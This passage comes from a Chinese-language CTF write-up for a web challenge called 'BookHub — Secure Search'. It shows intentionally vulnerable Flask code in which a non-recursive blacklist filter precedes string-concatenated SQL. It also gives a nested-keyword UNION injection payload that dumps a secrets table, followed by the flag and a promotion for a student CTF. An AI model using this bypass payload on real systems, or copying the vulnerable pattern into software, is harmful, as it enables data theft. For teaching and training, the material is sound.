        "INSERT INTO books (title, author, published_year) VALUES (?, ?, ?)",
30
        [
31
            ("Designing Data-Intensive Applications", "Martin Kleppmann", 2017),
32
            ("The Pragmatic Programmer",              "Andy Hunt",        1999),
33
            ("Clean Code",                            "Robert C. Martin", 2008),
34
            ("SQL Antipatterns",                      "Bill Karwin",      2010),
35
            ("Head First Design Patterns",            "Eric Freeman",     2004),
36
            ("Site Reliability Engineering",          "Betsy Beyer",      2016),
37
        ],
38
    )
39
    conn.executemany(
40
        "INSERT INTO secrets (name, value) VALUES (?, ?)",
41
        [
42
            ("db_backup_key",      "not-the-flag-this-is-a-decoy"),
43
            ("internal_api_token", "FLAG{OSGAGAWULALA}"),
44
            ("smtp_password",      "please-rotate-me"),
45
        ],
46
    )
7 collapsed lines
47
    conn.commit()
48
    conn.close()
49

50

51
init_db()
52

53

54
def sanitize(q: str) -> str:
55
    """
56
    v2 「安全」過濾：把 union / select 拿掉，case-insensitive。
57
    看起來很嚴，但是**只做一次、非遞迴**的替換。
58
    """
59
    for word in ("union", "select"):
60
        q = re.sub(word, "", q, flags=re.IGNORECASE)
61
    return q
76 collapsed lines
62

63

64
PAGE_HTML = """<!DOCTYPE html>
65
<html lang="zh-TW"><head><meta charset="UTF-8"><title>BookHub · Secure Search</title>
66
<style>
67
body{font-family:-apple-system,sans-serif;max-width:820px;margin:32px auto;padding:0 16px;color:#222}
68
h1{color:#4a5d23}sup{font-size:12px;color:#4a5d23;background:#e8f0d8;padding:2px 6px;border-radius:10px;margin-left:8px}
69
form{margin:16px 0}input{padding:8px;width:360px}
70
button{padding:8px 14px;background:#4a5d23;color:#fff;border:0;border-radius:4px;cursor:pointer}
71
table{width:100%%;border-collapse:collapse;margin-top:16px}
72
td,th{padding:8px;border-bottom:1px solid #eee;text-align:left;vertical-align:top}
73
.err{background:#ffe6e6;padding:12px;border-radius:6px;font-family:monospace;font-size:12px;white-space:pre-wrap;word-break:break-all;margin-top:16px}
74
.hint{color:#888;font-size:12px;margin-top:24px}
75
.q{color:#888;font-size:12px;font-family:monospace;word-break:break-all;margin-top:12px}
76
</style></head><body>
77
<h1>BookHub <sup>v2 · Secure Search</sup></h1>
78
<form method="GET" action="/search">
79
  <input name="q" placeholder="search books by title..." value="%s">
80
  <button>Search</button>
81
</form>
82
%s
83
<p class="hint">
84
  v2 更新：所有 query 都經過 <code>sanitize()</code>，過濾 <code>union</code> / <code>select</code> 關鍵字（case-insensitive）。放心搜尋！
85
</p>
86
</body></html>
87
"""
88

89

90
def render(raw_q: str, body_html: str) -> str:
91
    return PAGE_HTML % (html.escape(raw_q), body_html)
92

93

94
@app.route("/")
95
def index():
96
    return render("", "")
97

98

99
@app.route("/search")
100
def search():
101
    raw = request.args.get("q", "")
102
    q   = sanitize(raw)
103

104
    # !!! VULN: 過濾後仍然用字串串接進 SQL !!!
105
    sql = f"SELECT title, author, published_year FROM books WHERE title LIKE '%{q}%'"
106

107
    conn = sqlite3.connect(DB_PATH)
108
    try:
109
        rows = conn.execute(sql).fetchall()
110
    except sqlite3.Error as e:
111
        conn.close()
112
        return render(
113
            raw,
114
            f'<div class="err">SQL error: {html.escape(str(e))}\n\nquery: {html.escape(sql)}</div>',
115
        )
116
    conn.close()
117

118
    if not rows:
119
        body = f'<p>No results.</p><p class="q">query: {html.escape(sql)}</p>'
120
    else:
121
        trs = "".join(
122
            f"<tr><td>{html.escape(str(r[0]) if r[0] is not None else '')}</td>"
123
            f"<td>{html.escape(str(r[1]) if r[1] is not None else '')}</td>"
124
            f"<td>{html.escape(str(r[2]) if r[2] is not None else '')}</td></tr>"
125
            for r in rows
126
        )
127
        body = (
128
            "<table><thead><tr><th>Title / col1</th><th>Author / col2</th><th>Year / col3</th></tr></thead>"
129
            f"<tbody>{trs}</tbody></table>"
130
            f'<p class="q">query: {html.escape(sql)}</p>'
131
        )
132

133
    return render(raw, body)
134

135

136
if __name__ == "__main__":
137
    app.run(host="0.0.0.0", port=8080)

我們可以看到，這裡有兩份的 SQL 表，分別是名為 books 的表和 secrets 的表。這兩個表分別有下列元素 title, author, published_year 和 name, value。而且從代碼我們可以發現他也是進行字串替換，但我們還是可以讓他連起來後還是相同語句意思。

接下來補充一點 SQL 知識，SELECT是進行查詢。UNION是指把多個查詢結果合併成一個結果集。

所以在這題我們可以輸入 ' UNUNIONION Selselectect name,value,0 from secrets-- 那最後後端會拿到的查詢語句就是這樣： WHERE title LIKE '%' UNION SELECT name, value, 0 FROM secrets--%'

就可以正確的輸出 Flag 啦！

（補充一下為什麼要有 0，因為原本 books 是三欄，但 secrets 只有兩欄，所以補零讓所有欄位都有零，這樣就不會報錯ㄌ！

Flag#

1
FLAG{sqli_f1lter_bl4ckl1st_g3ts_n3st3d}

總結#

這份 CTF 其實還蠻簡單的，那既然說到了 CTF，我就不得不提到一個專門為臺灣高中職學生所打造的 CTF，THJCC CTF。

Loading...https://thjcc.org/

THJCC CTF 是專為臺灣高中職生打造的線上資安競賽，由 SCINT 北臺灣學生資訊社群與全國各地熱愛資安的學生共同主辦，並獲得多個資安組織與單位支持。延續歷屆賽事精神，今年暑假我們帶來 THJCC CTF 3rd Summer Edition，希望讓更多學生在假期中接觸資安、挑戰自我，也認識同樣熱愛技術的夥伴。

準備好在暑假一起解題、學習、交流了嗎？THJCC CTF 3rd Summer Edition 等你來報名！

📌 比賽形式｜線上 Jeopardy CTF
📌 題目類型｜Web / Reverse / Crypto / Pwn / Misc
📌 適合對象｜臺灣高中職生、CTF 初學者與進階玩家
📌 Discord｜https://dc.thjcc.org

(雖然我上架這篇文章的時間就結束了，不過還是要宣傳一下www)

前言#

一日資安體驗營 台北場 7/27#

一日資安體驗營 台中場 8/1#

助教心得#

ctf.ga24.me writeup#

前言：#

Web / Info Leak#

Curious Crawler (100)#

題目#

解題心得#

Flag#

Version Control (250)#

題目#

解題心得#

Flag#

Web / Path Traversal#

InternalDocs Wiki (150)#

題目#

解題心得#

Flag#

ManualHub v2 — Secured (300)#

題目#

解題心得#

Flag#

Web / IDOR#

MyJournal (150)#

題目#

解題心得#

Flag#

SupportDesk (300)#

題目#

解題心得#

Flag#

Web / SQL Injection#

MiniBoard (150)#

題目#

解題心得#

Flag#

BookHub — Secure Search (300)#

題目#

解題心得#

Flag#

總結#

一日資安體驗營台北場 7/27#

一日資安體驗營台中場 8/1#